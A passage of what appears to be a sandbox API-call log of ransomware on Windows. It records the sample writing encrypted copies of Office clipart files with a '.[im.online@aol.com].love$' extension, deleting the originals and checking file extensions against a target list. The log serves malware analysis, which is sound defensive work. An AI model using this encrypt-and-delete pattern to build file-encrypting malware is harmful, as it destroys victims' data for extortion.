dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0240.497] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=3564) returned 1 [0240.497] CloseHandle (hObject=0x534) returned 1 [0240.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf")) returned 0x220 [0240.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0240.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0240.498] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.498] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0240.499] GetLastError () returned 0x0 [0240.500] ReadFile (in: hFile=0x534, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0xdec, lpOverlapped=0x0) returned 1 [0240.878] WriteFile (in: hFile=0x528, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xdf0, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xdf0, lpOverlapped=0x0) returned 1 [0240.880] ReadFile (in: hFile=0x534, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0240.880] WriteFile (in: hFile=0x528, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xe8, lpOverlapped=0x0) returned 1 [0240.880] SetEndOfFile (hFile=0x528) returned 1 [0241.349] CloseHandle (hObject=0x528) returned 1 [0241.349] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.349] SetEndOfFile (hFile=0x534) returned 1 [0241.351] CloseHandle (hObject=0x534) returned 1 [0241.351] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0241.352] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf")) returned 1 [0241.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0241.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0241.353] lstrlenW (lpString=".doc") returned 4 [0241.353] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.353] lstrlenW (lpString=".docx") returned 5 [0241.353] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0241.353] lstrlenW (lpString=".pdf") returned 4 [0241.353] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.353] lstrlenW (lpString=".xls") returned 4 [0241.353] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.353] lstrlenW (lpString=".xlsx") returned 5 [0241.353] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0241.353] lstrlenW (lpString=".ppt") returned 4 [0241.353] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0241.353] lstrlenW (lpString=".zip") returned 4 [0241.353] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.353] lstrlenW (lpString=".rar") returned 4 [0241.353] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.353] lstrlenW (lpString=".bz2") returned 4 [0241.353] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.353] lstrlenW (lpString=".7z") returned 3 [0241.353] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0241.353] lstrlenW (lpString=".dbf") returned 4 [0241.353] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0241.353] lstrlenW (lpString=".1cd") returned 4 [0241.353] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0241.353] lstrlenW (lpString=".jpg") returned 4 [0241.354] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0241.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0241.354] lstrlenW (lpString=".doc") returned 4 [0241.354] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.354] lstrlenW (lpString=".docx") returned 5 [0241.354] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0241.354] lstrlenW (lpString=".pdf") returned 4 [0241.354] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.354] lstrlenW (lpString=".xls") returned 4 [0241.354] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.354] lstrlenW (lpString=".xlsx") returned 5 [0241.354] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0241.354] lstrlenW (lpString=".ppt") returned 4 [0241.354] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0241.354] lstrlenW (lpString=".zip") returned 4 [0241.354] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.354] lstrlenW (lpString=".rar") returned 4 [0241.354] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.354] lstrlenW (lpString=".bz2") returned 4 [0241.354] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.354] lstrlenW (lpString=".7z") returned 3 [0241.354] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0241.354] lstrlenW (lpString=".dbf") returned 4 [0241.354] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0241.354] lstrlenW (lpString=".1cd") returned 4 [0241.354] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0241.354] lstrlenW (lpString=".jpg") returned 4 [0241.354] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.355] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0241.355] lstrlenW (lpString="DD00255_.WMF") returned 12 [0241.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0241.356] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=2690) returned 1 [0241.356] CloseHandle (hObject=0x534) returned 1 [0241.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf")) returned 0x220 [0241.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0241.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0241.357] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.357] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0241.358] GetLastError () returned 0x0 [0241.358] ReadFile (in: hFile=0x534, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0xa82, lpOverlapped=0x0) returned 1 [0241.869] WriteFile (in: hFile=0x528, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xa90, lpOverlapped=0x0) returned 1 [0241.870] ReadFile (in: hFile=0x534, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0241.870] WriteFile (in: hFile=0x528, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0241.870] SetEndOfFile (hFile=0x528) returned 1 [0241.871] CloseHandle (hObject=0x528) returned 1 [0241.871] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.871] SetEndOfFile (hFile=0x534) returned 1 [0241.874] CloseHandle (hObject=0x534) returned 1 [0241.875] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0241.875] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf")) returned 1 [0241.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0241.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0241.876] lstrlenW (lpString=".doc") returned 4 [0241.876] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.876] lstrlenW (lpString=".docx") returned 5 [0241.876] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0241.876] lstrlenW (lpString=".pdf") returned 4 [0241.876] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.876] lstrlenW (lpString=".xls") returned 4 [0241.876] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.877] lstrlenW (lpString=".xlsx") returned 5 [0241.877] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0241.877] lstrlenW (lpString=".ppt") returned 4 [0241.877] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0241.877] lstrlenW (lpString=".zip") returned 4 [0241.877] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.877] lstrlenW (lpString=".rar") returned 4 [0241.877] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.877] lstrlenW (lpString=".bz2") returned 4 [0241.877] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.877] lstrlenW (lpString=".7z") returned 3 [0241.877] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0241.877] lstrlenW (lpString=".dbf") returned 4 [0241.877] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0241.877] lstrlenW (lpString=".1cd") returned 4 [0241.877] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0241.877] lstrlenW (lpString=".jpg") returned 4 [0241.877] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0241.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0241.878] lstrlenW (lpString=".doc") returned 4 [0241.878] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.878] lstrlenW (lpString=".docx") returned 5 [0241.878] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0241.878] lstrlenW (lpString=".pdf") returned 4 [0241.878] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.878] lstrlenW (lpString=".xls") returned 4 [0241.878] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.878] lstrlenW (lpString=".xlsx") returned 5 [0241.878] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0241.878] lstrlenW (lpString=".ppt") returned 4 [0241.878] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0241.878] lstrlenW (lpString=".zip") returned 4 [0241.878] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.878] lstrlenW (lpString=".rar") returned 4 [0241.878] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.878] lstrlenW (lpString=".bz2") returned 4 [0241.878] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.878] lstrlenW (lpString=".7z") returned 3 [0241.878] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0241.878] lstrlenW (lpString=".dbf") returned 4 [0241.878] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0241.878] lstrlenW (lpString=".1cd") returned 4 [0241.879] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0241.879] lstrlenW (lpString=".jpg") returned 4 [0241.879] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.879] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0241.879] lstrlenW (lpString="DD00261_.WMF") returned 12 [0241.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0241.881] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=37974) returned 1 [0241.881] CloseHandle (hObject=0x534) returned 1 [0241.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf")) returned 0x220 [0241.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0241.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0241.882] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.882] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0241.883] GetLastError () returned 0x0 [0241.883] ReadFile (in: hFile=0x534, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x9456, lpOverlapped=0x0) returned 1 [0241.973] WriteFile (in: hFile=0x528, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x9460, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x9460, lpOverlapped=0x0) returned 1 [0241.975] ReadFile (in: hFile=0x534, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0241.975] WriteFile (in: hFile=0x528, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0241.975] SetEndOfFile (hFile=0x528) returned 1 [0241.976] CloseHandle (hObject=0x528) returned 1 [0241.976] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.976] SetEndOfFile (hFile=0x534) returned 1 [0241.981] CloseHandle (hObject=0x534) returned 1 [0241.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0241.982] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf")) returned 1 [0241.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0241.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0241.983] lstrlenW (lpString=".doc") returned 4 [0241.983] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.983] lstrlenW (lpString=".docx") returned 5 [0241.983] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0241.983] lstrlenW (lpString=".pdf") returned 4 [0241.984] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.984] lstrlenW (lpString=".xls") returned 4 [0241.984] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.984] lstrlenW (lpString=".xlsx") returned 5 [0241.984] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0241.984] lstrlenW (lpString=".ppt") returned 4 [0241.984] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0241.984] lstrlenW (lpString=".zip") returned 4 [0241.984] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.984] lstrlenW (lpString=".rar") returned 4 [0241.984] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.984] lstrlenW (lpString=".bz2") returned 4 [0241.984] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.984] lstrlenW (lpString=".7z") returned 3 [0241.984] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0241.984] lstrlenW (lpString=".dbf") returned 4 [0241.984] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0241.984] lstrlenW (lpString=".1cd") returned 4 [0241.984] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0241.984] lstrlenW (lpString=".jpg") returned 4 [0241.984] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0241.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0241.984] lstrlenW (lpString=".doc") returned 4 [0241.984] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.984] lstrlenW (lpString=".docx") returned 5 [0241.985] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0241.985] lstrlenW (lpString=".pdf") returned 4 [0241.985] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.985] lstrlenW (lpString=".xls") returned 4 [0241.985] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.985] lstrlenW (lpString=".xlsx") returned 5 [0241.985] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0241.985] lstrlenW (lpString=".ppt") returned 4 [0241.985] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0241.985] lstrlenW (lpString=".zip") returned 4 [0241.985] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.985] lstrlenW (lpString=".rar") returned 4 [0241.985] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.985] lstrlenW (lpString=".bz2") returned 4 [0241.985] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.985] lstrlenW (lpString=".7z") returned 3 [0241.985] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0241.985] lstrlenW (lpString=".dbf") returned 4 [0241.985] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0241.985] lstrlenW (lpString=".1cd") returned 4 [0241.985] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0241.985] lstrlenW (lpString=".jpg") returned 4 [0241.985] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.986] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0241.986] lstrlenW (lpString="DD00405_.WMF") returned 12 [0241.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0241.987] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=17584) returned 1 [0241.987] CloseHandle (hObject=0x534) returned 1 [0241.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf")) returned 0x220 [0241.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft 